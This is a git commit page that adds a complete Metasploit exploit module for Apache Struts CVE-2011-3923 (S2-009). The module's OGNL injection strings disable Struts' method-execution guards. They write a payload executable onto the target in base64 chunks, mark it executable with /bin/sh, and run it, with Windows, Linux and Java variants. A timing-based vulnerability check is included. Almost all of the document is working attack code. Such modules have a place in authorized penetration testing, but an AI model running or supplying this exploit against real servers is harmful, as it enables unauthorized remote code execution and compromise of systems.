commit fix branch for Console-struts-RCE
parent
6ffe84ea98
commit
5c9bec1552
|
@ -0,0 +1,163 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a remote command execution vulnerability in
|
||||||
|
Apache Struts versions < 2.3.1.2. This issue is caused because the
|
||||||
|
ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret
|
||||||
|
parameter values as OGNL expressions during certain exception handling for mismatched
|
||||||
|
data types of properties which allows remote attackers to execute arbitrary Java code
|
||||||
|
via a crafted parameter.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
|
||||||
|
'Meder Kydyraliev', # Vulnerability Discovery and PoC
|
||||||
|
'mihi', #ARCH_JAVA support
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2011-3923'],
|
||||||
|
[ 'OSVDB', '78501'],
|
||||||
|
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
|
||||||
|
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win', 'linux', 'java'],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Windows Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'windows'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
['Linux Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'linux'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Java Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Platform' => 'java'
|
||||||
|
},
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Oct 01 2011',
|
||||||
|
'DefaultTarget' => 2))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
|
||||||
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
|
||||||
|
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
|
||||||
|
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
|
||||||
|
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['Parameter']))
|
||||||
|
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
|
||||||
|
uri = String.new(datastore['TARGETURI'])
|
||||||
|
uri.gsub!(/INJECT/,inject) # append the injection string
|
||||||
|
resp = send_request_cgi({
|
||||||
|
'uri' => uri,
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'GET',
|
||||||
|
}, 15)
|
||||||
|
return resp #Used for check function.
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
#Set up generic values.
|
||||||
|
@payload_exe = rand_text_alphanumeric(4+rand(4))
|
||||||
|
pl_exe = generate_payload_exe
|
||||||
|
chunk_length = 384
|
||||||
|
append = 'false'
|
||||||
|
|
||||||
|
#Now arch specific...
|
||||||
|
case target['Platform']
|
||||||
|
when 'linux'
|
||||||
|
chunk_length = 128 #Complains of a long filename if left default.
|
||||||
|
@payload_exe = "/tmp/#{@payload_exe}"
|
||||||
|
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@chmod +x #{@payload_exe}\".split(\"@\"))"
|
||||||
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@#{@payload_exe}\".split(\"@\"))"
|
||||||
|
when 'java'
|
||||||
|
@payload_exe << ".jar"
|
||||||
|
pl_exe = payload.encoded_jar.pack
|
||||||
|
exec_cmd = ""
|
||||||
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
|
||||||
|
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
|
||||||
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
|
||||||
|
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
|
||||||
|
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
|
||||||
|
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
||||||
|
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
||||||
|
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
||||||
|
when 'windows'
|
||||||
|
@payload_exe = "./#{@payload_exe}.exe"
|
||||||
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
|
||||||
|
end
|
||||||
|
|
||||||
|
#Now with all the arch specific stuff set, perform the upload.
|
||||||
|
|
||||||
|
while pl_exe.length > chunk_length
|
||||||
|
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
|
||||||
|
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
|
||||||
|
append = true
|
||||||
|
end
|
||||||
|
java_upload_part(pl_exe,@payload_exe,append)
|
||||||
|
execute_command(chmod_cmd) if target['Platform'] == 'linux'
|
||||||
|
execute_command(exec_cmd)
|
||||||
|
register_files_for_cleanup(@payload_exe)
|
||||||
|
end
|
||||||
|
|
||||||
|
def java_upload_part(part, filename, append = 'false')
|
||||||
|
cmd = ""
|
||||||
|
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
|
||||||
|
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
|
||||||
|
cmd << "#f.close()"
|
||||||
|
execute_command(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_cmd = "@java.lang.Thread@sleep(10000)"
|
||||||
|
t1 = Time.now
|
||||||
|
response = execute_command(check_cmd)
|
||||||
|
t2 = Time.now
|
||||||
|
delta = t2 - t1
|
||||||
|
|
||||||
|
|
||||||
|
if response.nil?
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
elsif delta < 10
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue